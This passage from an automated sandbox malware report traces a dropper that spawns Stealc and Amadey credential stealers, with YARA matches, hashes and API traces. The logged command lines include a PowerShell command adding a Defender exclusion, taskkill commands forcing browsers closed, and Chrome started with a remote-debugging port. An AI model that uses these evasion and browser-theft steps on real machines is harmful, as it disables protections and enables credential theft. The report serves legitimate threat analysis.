.taggant	0x302000	0x3000	0x2200	f2cd213de1abca86d19adc643bd0e67a	False	0.06387867647058823	DOS executable (COM)	0.7451263255728477	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Target ID:	0
Start time:	03:15:02
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\random(4).exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\random(4).exe"
Imagebase:	0x6c0000
File size:	3'151'360 bytes
MD5 hash:	C77592F28D3267B7C5E0529B6741548A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:15:28
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe"
Imagebase:	0x720000
File size:	5'175'296 bytes
MD5 hash:	14FC1658DE54A19670851A44AFC48ABC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2313455015.0000000000721000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2313455015.00000000007EC000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:15:34
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe"
Imagebase:	0x230000
File size:	3'229'696 bytes
MD5 hash:	F70FD98886425270B5017B04C74B31B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2078214906.0000000000231000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:15:35
Start date:	02/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:15:37
Start date:	02/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2192,i,12920997312320207026,11927117372627731275,262144 /prefetch:8
Imagebase:	0x760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:15:38
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc00000
File size:	3'229'696 bytes
MD5 hash:	F70FD98886425270B5017B04C74B31B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:15:51
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe"
Imagebase:	0x800000
File size:	540'672 bytes
MD5 hash:	9AB250B0DC1D156E2D123D277EB4D132
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 95%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:15:51
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:15:52
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe"
Imagebase:	0x800000
File size:	540'672 bytes
MD5 hash:	9AB250B0DC1D156E2D123D277EB4D132
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:15:56
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe"
Imagebase:	0xa20000
File size:	2'668'544 bytes
MD5 hash:	87330F1877C33A5A6203C49075223B16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 48%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	03:16:00
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc00000
File size:	3'229'696 bytes
MD5 hash:	F70FD98886425270B5017B04C74B31B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2358601653.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:16:00
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FIJDGIJJKE.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:16:00
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:16:00
Start date:	02/01/2025
Path:	C:\Users\user\Documents\FIJDGIJJKE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\FIJDGIJJKE.exe"
Imagebase:	0xe30000
File size:	3'229'696 bytes
MD5 hash:	F70FD98886425270B5017B04C74B31B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.2366087745.0000000000E31000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:16:03
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe"
Imagebase:	0x140000000
File size:	2'013'088 bytes
MD5 hash:	19861D67B2811D6EB3BE1951B28703AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 24%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	03:16:03
Start date:	02/01/2025
Path:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz
Imagebase:	0x7ff7f4380000
File size:	1'071'704 bytes
MD5 hash:	8FA52F316C393496F272357191DB6DEB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	03:17:00
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc00000
File size:	3'229'696 bytes
MD5 hash:	F70FD98886425270B5017B04C74B31B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2987197716.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:17:17
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe"
Imagebase:	0x7ff6cc5f0000
File size:	94'133'369 bytes
MD5 hash:	A098B3631CF208CAC539D0C4DA0DE1EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	03:17:23
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe"
Imagebase:	0x7ff6cc5f0000
File size:	94'133'369 bytes
MD5 hash:	A098B3631CF208CAC539D0C4DA0DE1EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	03:17:23
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe"
Imagebase:	0x400000
File size:	1'926'656 bytes
MD5 hash:	DB206F26E2DA5BDEB251FDF9DEB6EFBE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	03:17:32
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe"
Imagebase:	0x5b0000
File size:	4'487'680 bytes
MD5 hash:	C2968F40E6C44036E1D3E18BCA61C67D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:17:32
Start date:	02/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff7cf880000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:17:32
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:17:39
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe"
Imagebase:	0x140000000
File size:	2'013'088 bytes
MD5 hash:	19861D67B2811D6EB3BE1951B28703AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 24%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	03:17:46
Start date:	02/01/2025
Path:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz
Imagebase:	0x7ff7f4380000
File size:	1'071'704 bytes
MD5 hash:	8FA52F316C393496F272357191DB6DEB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	03:17:47
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe"
Imagebase:	0xc10000
File size:	4'484'096 bytes
MD5 hash:	F200A3445A8034D201EEB79BB29E1D73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:17:55
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe"
Imagebase:	0xdb0000
File size:	3'151'360 bytes
MD5 hash:	C77592F28D3267B7C5E0529B6741548A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3968382392.0000000001382000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3869502337.0000000001382000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3896221310.0000000001382000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.4074538250.00000000013D3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	03:18:00
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc00000
File size:	3'229'696 bytes
MD5 hash:	F70FD98886425270B5017B04C74B31B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.3667795783.0000000000C01000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:18:04
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe"
Imagebase:	0x3d0000
File size:	5'175'296 bytes
MD5 hash:	14FC1658DE54A19670851A44AFC48ABC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.3711440745.00000000003D1000.00000040.00000001.01000000.0000002C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.3714687550.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:18:10
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe"
Imagebase:	0xd40000
File size:	968'192 bytes
MD5 hash:	CA250DF7319AC4E1A197E00FDA0C4323
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 29%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:18:15
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe"
Imagebase:	0xdb0000
File size:	3'151'360 bytes
MD5 hash:	C77592F28D3267B7C5E0529B6741548A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000023.00000003.4119625833.000000000165D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000023.00000003.4156576126.000000000165D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	03:18:17
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe"
Imagebase:	0xac0000
File size:	2'720'256 bytes
MD5 hash:	B0A80C5DBC0761ED26C786D6F2E56E1F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:18:21
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe"
Imagebase:	0x7ff6eef20000
File size:	15'360 bytes
MD5 hash:	9BE5AC720DCF1838FD5A2D7352672F66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 55%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	03:18:21
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	03:18:27
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe"
Imagebase:	0x3d0000
File size:	5'175'296 bytes
MD5 hash:	14FC1658DE54A19670851A44AFC48ABC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.4097470810.00000000003D1000.00000040.00000001.01000000.0000002C.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:18:28
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm'
Imagebase:	0x8f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	03:18:28
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	03:18:39
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe"
Imagebase:	0xd40000
File size:	968'192 bytes
MD5 hash:	CA250DF7319AC4E1A197E00FDA0C4323
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	03:18:41
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x4e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:18:41
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	03:18:48
Start date:	02/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	03:18:49
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x4e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	03:18:50
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	03:18:50
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe"
Imagebase:	0xac0000
File size:	2'720'256 bytes
MD5 hash:	B0A80C5DBC0761ED26C786D6F2E56E1F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	03:18:53
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x4e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	03:18:54
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	03:19:00
Start date:	02/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc00000
File size:	3'229'696 bytes
MD5 hash:	F70FD98886425270B5017B04C74B31B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	03:19:01
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x4e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	03:19:01
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	03:19:02
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x4e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	03:19:02
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6BF135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9F688,00001000), ref: 6BF135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BF135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6BF135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BF1363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BF1369F
__aulldiv.LIBCMT ref: 6BF136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6BF13773
EnterCriticalSection.KERNEL32(6BF9F688), ref: 6BF1377E
LeaveCriticalSection.KERNEL32(6BF9F688), ref: 6BF137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6BF137C4
EnterCriticalSection.KERNEL32(6BF9F688), ref: 6BF137CB
LeaveCriticalSection.KERNEL32(6BF9F688), ref: 6BF13801
